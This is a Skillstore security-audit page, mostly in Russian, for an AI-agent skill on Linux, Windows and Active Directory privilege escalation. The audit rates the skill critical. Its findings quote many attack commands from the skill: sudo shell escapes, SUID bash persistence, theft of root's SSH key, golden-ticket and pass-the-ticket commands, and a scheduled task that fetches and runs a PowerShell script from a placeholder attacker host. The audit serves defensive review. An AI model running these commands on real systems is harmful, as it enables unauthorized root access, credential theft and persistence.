Навыки privilege-escalation-methods

📦

privilege-escalation-methods

Name: privilege-escalation-methods
Author: sickn33

v1.1 Ревизия содержимого r1 Критично ⚙️ Внешние команды🌐 Доступ к сети📁 Доступ к файловой системе

Оценка риска повышения привилегий

Проверки повышения привилегий требуют четкого знания распространенных путей злоупотреблений в Linux, Windows и Active Directory. Этот skill систематизирует такие пути для авторизованного тестирования, обучения и проверок защитного усиления.

Поддерживает: Claude Codex Code(CC)

⚠️ 38 Плохо

Не устанавливайте этот Skill автоматически.

Каноническая политика требует проверки оператором перед любым действием по установке.

Установить с помощью моего Агента

Скопируйте этот запрос в своего Агента. Он содержит каноническую страницу Skill и манифест.

Запрос агента

Review the Skillstore skill "privilege-escalation-methods" from https://skillstore.io/skills/sickn33-privilege-escalation-methods.md and its manifest at https://skillstore.io/api/skills/sickn33-privilege-escalation-methods/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Ваш Агент по-прежнему должен показать план и запросить все подтверждения, требуемые политикой безопасности.

Ресурсы для AI-агентов

Используйте эти ссылки, когда AI-агенту, crawler или script нужен чистый контекст вместо полной страницы.

Markdown-детали GET /skills/sickn33-privilege-escalation-methods.md Подписанный manifest GET /api/skills/sickn33-privilege-escalation-methods/manifest Подписанный lockfile GET /api/skills/sickn33-privilege-escalation-methods/lockfile

Протестировать

Использование «privilege-escalation-methods». Обобщите злоупотребление Linux capability для защитников.

Ожидаемый результат:

Злоупотребление capability может позволить выбранным бинарным файлам выполнять действия за пределами обычных прав пользователя. Защитникам следует инвентаризировать capabilities, удалять ненужные назначения и создавать оповещения о неожиданном поведении привилегированной оболочки.

Использование «privilege-escalation-methods». Создайте безопасную проверку Active Directory на основе перечисленных тем.

Ожидаемый результат:

Проверьте подверженность service account и возраст паролей.
Проверьте делегирование и журналирование, связанное с tickets.
Убедитесь, что попытки credential dumping блокируются и вызывают оповещения.
Подтвердите шаги реагирования на инциденты при подозрении на злоупотребление tickets.

Использование «privilege-escalation-methods». Проверьте, подходит ли материал для публикации.

Ожидаемый результат:

Материал требует доработки перед широкой публикацией, поскольку включает операционные рабочие процессы повышения привилегий, кражи учетных данных и закрепления. Безопасная версия должна быть сосредоточена на обнаружении и устранении.

Аудит безопасности

Критично

v5 • 07.07.2026 Открыть версионный отчет

All static findings were retained because the skill is an operational post-exploitation guide for privilege escalation, credential theft, and persistence. Several matches are Markdown fence artifacts, but their surrounding sections contain actionable Linux, Windows, and Active Directory attack procedures. The semantic review confirms intent to obtain privileged shells, extract credentials, and compromise domains.

Просканировано файлов

334

Проанализировано строк

Пункты проверки

Ложные срабатывания проигнорированы

Подтверждённые проблемы безопасности (23)

Критично

SKILL.md:83

SSH directory access

/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa

The command targets /root/.ssh and archives a private key. This is direct access to privileged SSH credentials.

Критично

SKILL.md:83

SSH private key file

/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa

The command specifically reads /root/.ssh/id_rsa. Exposing a private key can enable unauthorized privileged login.

Критично

SKILL.md:244

Windows SAM/registry hive access

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

The command copies the Windows SYSTEM registry hive from a shadow copy. This supports offline credential extraction when paired with directory database or SAM data.

Критично

SKILL.md:46

System password file access

sudo find /etc/passwd -exec /bin/bash \;

The command references /etc/passwd while executing a root shell through sudo find. It is part of direct root shell escalation using a trusted binary.

Критично

SKILL.md:63

SUID bit modification

echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh

The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.

Критично

SKILL.md:98

SUID bit modification

chmod +s bash

The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.

Критично

SKILL.md:106

SUID bit modification

\! chmod +s /bin/bash

The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.

Критично

SKILL.md:77

UID/GID manipulation

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.

Показать все подтверждённые находки (23)

Критично

SKILL.md:80

UID/GID manipulation

/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.

Критично

SKILL.md:210

Windows scheduled task creation

schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `

The scheduled task is created to run as SYSTEM and execute a remote PowerShell payload. This is a persistence and remote execution mechanism.

Критично

multiple:1

[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism

This combination is common in malware that maintains access

The skill combines code execution, credential theft, and persistence mechanisms across Linux and Windows. That combination is consistent with malware-like post-exploitation guidance.

Критично

SKILL.md:13 SKILL.md:23-28

Offensive Privilege Escalation Playbook

The skill explicitly aims to move from low-privileged access to root or administrator access. Its deliverables include extracted credentials, persistence, and domain compromise.

The purpose and deliverables state the offensive objective directly, including privileged shell access and credential extraction.

Критично

SKILL.md:179-213 SKILL.md:217-245

Credential Theft and Domain Compromise Guidance

The skill includes DCSync, golden ticket, pass-the-ticket, LLMNR poisoning, NTLM relay, and shadow copy credential extraction workflows. These enable credential theft and domain control.

The named workflows and tool commands are classic Active Directory credential theft and ticket abuse techniques.

Высокий

SKILL.md:76

UID/GID manipulation

# Python with cap_setuid

The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.

Высокий

SKILL.md:79

UID/GID manipulation

# Perl with cap_setuid

The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.

Высокий

SKILL.md:187

Weak cryptographic algorithm

/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.

Высокий

SKILL.md:193

Weak cryptographic algorithm

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt

The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.

Высокий

SKILL.md:206

Weak cryptographic algorithm

mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `

The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.

Высокий

SKILL.md:25-26

Network reconnaissance

- Root or Administrator shell access

The output requirement includes root or administrator shell access and extracted credentials. The network reconnaissance label is imprecise, but the skill objective is offensive post-exploitation access.

Высокий

SKILL.md:268-283

Safety Controls Are Insufficient for Publication

The constraints mention authorization, but they do not remove operational exploit steps or define refusal behavior. The dangerous instructions remain the primary content.

The safety section contains policy-like cautions, but the rest of the file still provides actionable escalation and credential theft workflows.

Средний

SKILL.md:76-77

System reconnaissance

# Python with cap_setuid

The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.

Средний

SKILL.md:79-80

System reconnaissance

# Perl with cap_setuid

The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.

Низкий

SKILL.md:299-300

System reconnaissance

root@target:~# id

The id command confirms root identity after exploitation. It is low severity by itself but validates successful privilege escalation in the example.

Пункты проверки возможностей (97)

Это реальные локальные возможности, которые могут ожидаться для этого навыка, поэтому они требуют проверки, но не считаются подтверждённым вредоносным поведением.

Критично

SKILL.md:48

Process spawn

sudo python -c 'import pty;pty.spawn("/bin/bash")'

The Python PTY command spawns an interactive root shell through sudo. This is direct privilege escalation guidance and can grant unauthorized shell access.

Критично

SKILL.md:77

Python os.system

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The Python command sets uid 0 and invokes a shell. This is direct root shell escalation through code execution.

Критично

SKILL.md:48

Python PTY spawn (shell access)

sudo python -c 'import pty;pty.spawn("/bin/bash")'

The command uses sudo Python to spawn /bin/bash in a PTY. This is explicit shell access as root.

Критично

SKILL.md:211

PowerShell invocation

/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"

The PowerShell command downloads and executes a script from an attacker-controlled URL through a scheduled task. This combines remote payload execution with persistence.

Критично

SKILL.md:63

Unix shell invocation

echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh

The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.

Критично

SKILL.md:106

Unix shell invocation

\! chmod +s /bin/bash

The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.

Критично

SKILL.md:45

sudo privilege escalation

sudo vim -c ':!/bin/bash'

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:46

sudo privilege escalation

sudo find /etc/passwd -exec /bin/bash \;

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:47

sudo privilege escalation

sudo awk 'BEGIN {system("/bin/bash")}'

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:48

sudo privilege escalation

sudo python -c 'import pty;pty.spawn("/bin/bash")'

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:49

sudo privilege escalation

sudo perl -e 'exec "/bin/bash";'

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:50

sudo privilege escalation

sudo less /etc/hosts # then type: !bash

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:51

sudo privilege escalation

sudo man man # then type: !bash

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:52

sudo privilege escalation

sudo env /bin/bash

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:298

sudo privilege escalation

$ sudo vim -c ':!/bin/bash'

The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.

Критично

SKILL.md:211

Hardcoded URL

/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"

The URL is used in a scheduled task that downloads and executes an attacker-hosted PowerShell script. This is remote payload execution and persistence guidance.

Критично

SKILL.md:83

Hidden file access

/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa

The command archives /root/.ssh/id_rsa, a private SSH key. This is credential theft from a privileged account.

Высокий

SKILL.md:154-155

Ruby/shell backtick execution

--Author DOMAIN\<USER> --Command "cmd.exe" `

The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.

Высокий

SKILL.md:210-213

Ruby/shell backtick execution

schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `

The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.

Высокий

SKILL.md:47

Ruby/PHP system() call

sudo awk 'BEGIN {system("/bin/bash")}'

The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.

Высокий

SKILL.md:77

Ruby/PHP system() call

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.

Высокий

SKILL.md:117

PowerShell invocation

```powershell

The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.

Высокий

SKILL.md:127

PowerShell invocation

```powershell

Высокий

SKILL.md:136

PowerShell invocation

```powershell

Высокий

SKILL.md:144

PowerShell invocation

```powershell

Высокий

SKILL.md:152

PowerShell invocation

```powershell

Высокий

SKILL.md:175

PowerShell invocation

```powershell

Высокий

SKILL.md:181

PowerShell invocation

```powershell

Высокий

SKILL.md:192

PowerShell invocation

```powershell

Высокий

SKILL.md:199

PowerShell invocation

```powershell

Высокий

SKILL.md:241

PowerShell invocation

```powershell

Высокий

SKILL.md:154

Windows cmd.exe

--Author DOMAIN\<USER> --Command "cmd.exe" `

The cmd.exe invocation is part of GPO abuse that modifies domain administrator credentials. This can enable unauthorized domain privilege escalation.

Высокий

SKILL.md:45

Unix shell invocation

sudo vim -c ':!/bin/bash'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:46

Unix shell invocation

sudo find /etc/passwd -exec /bin/bash \;

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:47

Unix shell invocation

sudo awk 'BEGIN {system("/bin/bash")}'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:48

Unix shell invocation

sudo python -c 'import pty;pty.spawn("/bin/bash")'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:49

Unix shell invocation

sudo perl -e 'exec "/bin/bash";'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:52

Unix shell invocation

sudo env /bin/bash

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:67

Unix shell invocation

/bin/bash -p

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:77

Unix shell invocation

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:80

Unix shell invocation

/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:97

Unix shell invocation

cp /bin/bash .

Copying /bin/bash is part of the no_root_squash NFS escalation workflow that later sets SUID. The command supports unauthorized privileged shell creation.

Высокий

SKILL.md:108

Unix shell invocation

/bin/bash -p

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:298

Unix shell invocation

$ sudo vim -c ':!/bin/bash'

The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.

Высокий

SKILL.md:38

sudo privilege escalation

Exploit misconfigured sudo permissions using GTFOBins techniques:

This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.

Высокий

SKILL.md:41

sudo privilege escalation

# Check sudo permissions

This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.

Высокий

SKILL.md:42

sudo privilege escalation

sudo -l

This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.

Высокий

SKILL.md:292

sudo privilege escalation

# Check sudo permissions

This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.

Высокий

SKILL.md:293

sudo privilege escalation

$ sudo -l

This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.

Высокий

SKILL.md:319

sudo privilege escalation

| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |

This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.

Высокий

SKILL.md:227

Hardcoded URL

URL=https://facebook.com

The URL appears in a malicious shortcut used with LLMNR poisoning. The surrounding workflow is credential harvesting, not benign link handling.

Высокий

SKILL.md:167

Hardcoded IP address

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.

Высокий

SKILL.md:170

Hardcoded IP address

crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.

Высокий

SKILL.md:307

Hardcoded IP address

$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.

Высокий

SKILL.md:94

Temp directory access

mkdir /tmp/mount

The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.

Высокий

SKILL.md:95

Temp directory access

mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount

The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.

Высокий

SKILL.md:96

Temp directory access

cd /tmp/mount

The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.

Средний

SKILL.md:40-53

Ruby/shell backtick execution

```bash

The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.

Средний

SKILL.md:53-57

Ruby/shell backtick execution

```

Средний

SKILL.md:57-68

Ruby/shell backtick execution

```bash

Средний

SKILL.md:68-72

Ruby/shell backtick execution

```

Средний

SKILL.md:72-85

Ruby/shell backtick execution

```bash

Средний

SKILL.md:85-89

Ruby/shell backtick execution

```

Средний

SKILL.md:89-99

Ruby/shell backtick execution

```bash

Средний

SKILL.md:99-103

Ruby/shell backtick execution

```

Средний

SKILL.md:103-109

Ruby/shell backtick execution

```bash

Средний

SKILL.md:109-117

Ruby/shell backtick execution

```

Средний

SKILL.md:117-123

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:123-127

Ruby/shell backtick execution

```

Средний

SKILL.md:127-132

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:132-136

Ruby/shell backtick execution

```

Средний

SKILL.md:136-140

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:140-144

Ruby/shell backtick execution

```

Средний

SKILL.md:144-148

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:148-152

Ruby/shell backtick execution

```

Средний

SKILL.md:152-153

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:157-165

Ruby/shell backtick execution

```

Средний

SKILL.md:165-171

Ruby/shell backtick execution

```bash

Средний

SKILL.md:171-175

Ruby/shell backtick execution

```

Средний

SKILL.md:175-177

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:177-181

Ruby/shell backtick execution

```

Средний

SKILL.md:181-186

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:188-192

Ruby/shell backtick execution

```

Средний

SKILL.md:192-195

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:195-199

Ruby/shell backtick execution

```

Средний

SKILL.md:199-206

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:213-221

Ruby/shell backtick execution

```

Средний

SKILL.md:221-230

Ruby/shell backtick execution

```bash

Средний

SKILL.md:230-234

Ruby/shell backtick execution

```

Средний

SKILL.md:234-237

Ruby/shell backtick execution

```bash

Средний

SKILL.md:237-241

Ruby/shell backtick execution

```

Средний

SKILL.md:241-245

Ruby/shell backtick execution

```powershell

Средний

SKILL.md:245-291

Ruby/shell backtick execution

```

Средний

SKILL.md:291-301

Ruby/shell backtick execution

```bash

Средний

SKILL.md:301-305

Ruby/shell backtick execution

```

Средний

SKILL.md:305-311

Ruby/shell backtick execution

```bash

Средний

SKILL.md:74

Standard device file access

getcap -r / 2>/dev/null

The /dev/null redirection is benign alone, but the command enumerates privileged file capabilities across the host. In this context it supports capability-based privilege escalation.

Факторы риска

⚙️ Внешние команды (87)

SKILL.md:48 SKILL.md:77 SKILL.md:48 SKILL.md:40-53 SKILL.md:53-57 SKILL.md:57-68 SKILL.md:68-72 SKILL.md:72-85 SKILL.md:85-89 SKILL.md:89-99 SKILL.md:99-103 SKILL.md:103-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-127 SKILL.md:127-132 SKILL.md:132-136 SKILL.md:136-140 SKILL.md:140-144 SKILL.md:144-148 SKILL.md:148-152 SKILL.md:152-153 SKILL.md:154-155 SKILL.md:157-165 SKILL.md:165-171 SKILL.md:171-175 SKILL.md:175-177 SKILL.md:177-181 SKILL.md:181-186 SKILL.md:188-192 SKILL.md:192-195 SKILL.md:195-199 SKILL.md:199-206 SKILL.md:210-213 SKILL.md:213-221 SKILL.md:221-230 SKILL.md:230-234 SKILL.md:234-237 SKILL.md:237-241 SKILL.md:241-245 SKILL.md:245-291 SKILL.md:291-301 SKILL.md:301-305 SKILL.md:305-311 SKILL.md:47 SKILL.md:77 SKILL.md:117 SKILL.md:127 SKILL.md:136 SKILL.md:144 SKILL.md:152 SKILL.md:175 SKILL.md:181 SKILL.md:192 SKILL.md:199 SKILL.md:211 SKILL.md:241 SKILL.md:154 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:52 SKILL.md:63 SKILL.md:67 SKILL.md:77 SKILL.md:80 SKILL.md:97 SKILL.md:106 SKILL.md:108 SKILL.md:298 SKILL.md:38 SKILL.md:41 SKILL.md:42 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:292 SKILL.md:293 SKILL.md:298 SKILL.md:319

🌐 Доступ к сети (5)

SKILL.md:211 SKILL.md:227 SKILL.md:167 SKILL.md:170 SKILL.md:307

📁 Доступ к файловой системе (5)

SKILL.md:83 SKILL.md:74 SKILL.md:94 SKILL.md:95 SKILL.md:96

Обнаруженные паттерны

Python PTY spawn (shell access)SSH directory accessSSH private key fileWindows SAM/registry hive accessSystem password file accessSUID bit modification×3UID/GID manipulation×4Weak cryptographic algorithm×3Windows scheduled task creationSystem reconnaissance×3Network reconnaissance

Аудитор:: codex Посмотреть историю аудитов →

Поделиться и цитировать этот отчет

Делитесь версионным отчетом об оценке, нейтральным значком, встраиваемой карточкой и цитатами. Skillstore публикует доказательства, не решая, безопасен ли этот Skill.

Открыть версионный отчет

Копировать ссылку на отчёт

https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

Значок Markdown

[![Skillstore security assessment](https://skillstore.io/badges/skills/sickn33-privilege-escalation-methods/security.svg)](https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge)

Значок HTML

<a href="https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-privilege-escalation-methods/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

Встраиваемая карточка

<iframe src="https://skillstore.io/embed/skills/sickn33-privilege-escalation-methods.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>

Академические ссылки (APA · BibTeX · CFF)

Цитата APA

sickn33. (2026). privilege-escalation-methods security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5

Цитата BibTeX

@techreport{sickn33-sickn33-privilege-escalation-methods-2026,
  author = {sickn33},
  title = {privilege-escalation-methods security audit report (audit version 5)},
  institution = {Skillstore},
  year = {2026},
  number = {5},
  url = {https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5},
  note = {Author version 1.1}
}

CITATION.cff

cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-methods security audit report (audit version 5)"
version: "1.1"
type: report
authors:
  - name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5"
identifiers:
  - type: other
    value: "skillstore:sickn33-privilege-escalation-methods:audit:5"
    description: "Skillstore immutable audit report identifier"

Оценка Skillstore

Почему такая оценка Достоверность доказательств: Средний

Архитектура

Сопровождаемость

Контент

Сообщество

Соответствие спецификации

Что вы можете построить

Планирование авторизованного тестирования

Сопоставьте разрешенные проверки повышения привилегий с подписанными рамками работ до начала тестирования.

Создание защитных чеклистов

Преобразуйте перечисленные категории атак в задачи по усилению, мониторингу и сбору доказательств.

Обучение лабораторным концепциям

Объясните концепции повышения привилегий в изолированной лаборатории без нацеливания на реальные системы.

Попробуйте эти промпты

Обобщить категории

Обобщите категории повышения привилегий в Linux, Windows и Active Directory из этого skill для авторизованной лаборатории. Не включайте исполняемые команды.

Создать чеклист по усилению

Преобразуйте этот skill в защитный чеклист по усилению для серверов и доменных систем. Включите средства контроля, доказательства для сбора и проверки очистки.

Сопоставить рамки теста

Сопоставьте перечисленные техники с предварительными условиями, необходимыми одобрениями, ожидаемыми доказательствами и условиями остановки для авторизованного внутреннего теста.

Оценить корпоративный риск

Создайте ограниченную по рамкам оценку риска с использованием этого skill. Включите пути злоупотреблений, вероятные обнаружения, действия по сдерживанию, обязанности по очистке и условия go или no-go.

Лучшие практики

Используйте материал только в авторизованных лабораториях или в рамках подписанных работ по безопасности.
Преобразуйте наступательные техники в защитные средства контроля, обнаружения и задачи по очистке.
Документируйте рамки, одобрение, обработку доказательств и условия остановки перед любым тестом.

Избегать

Использование техник на системах без явной письменной авторизации.
Копирование операционных команд в production или сторонние среды.
Отношение к извлечению учетных данных или закреплению как к допустимым действиям без одобрения и очистки.

Часто задаваемые вопросы

Что охватывает этот skill?

Он охватывает концепции повышения привилегий в Linux, Windows и Active Directory с примерами и справочными таблицами.

Безопасен ли он для обычных пользователей?

Нет. Исходный материал включает операционные рекомендации после эксплуатации и должен быть ограничен авторизованной работой по безопасности.

Запускает ли skill команды самостоятельно?

Нет. Это руководство в markdown, но агент или пользователь может выполнить команды, если его об этом попросят.

Могут ли защитники использовать этот skill?

Да, защитники могут преобразовать категории в проверки усиления, идеи мониторинга и упражнения по реагированию на инциденты.

Подтверждает ли он авторизацию?

Нет. Он не обеспечивает проверку юридических рамок или принадлежности цели перед представлением рискованного материала.

Что следует изменить перед публикацией?

Удалите операционные шаги эксплуатации и перепишите содержимое как защитное руководство с четким поведением отказа.

Сведения для разработчиков

Автор

sickn33

Лицензия

MIT

Версия автора

v1.1

Ревизия Skillstore

Примечание о версии

Заявленная автором версия не соответствует SemVer.

Репозиторий

https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/privilege-escalation-methods

Ссылка

9f814fc6a43fd99946f2da5e0df231c65a38bc76

Актуальность поддержки

18.07.2026

Использование

8 загрузок · 156 просмотров

Структура файлов

📄 SKILL.md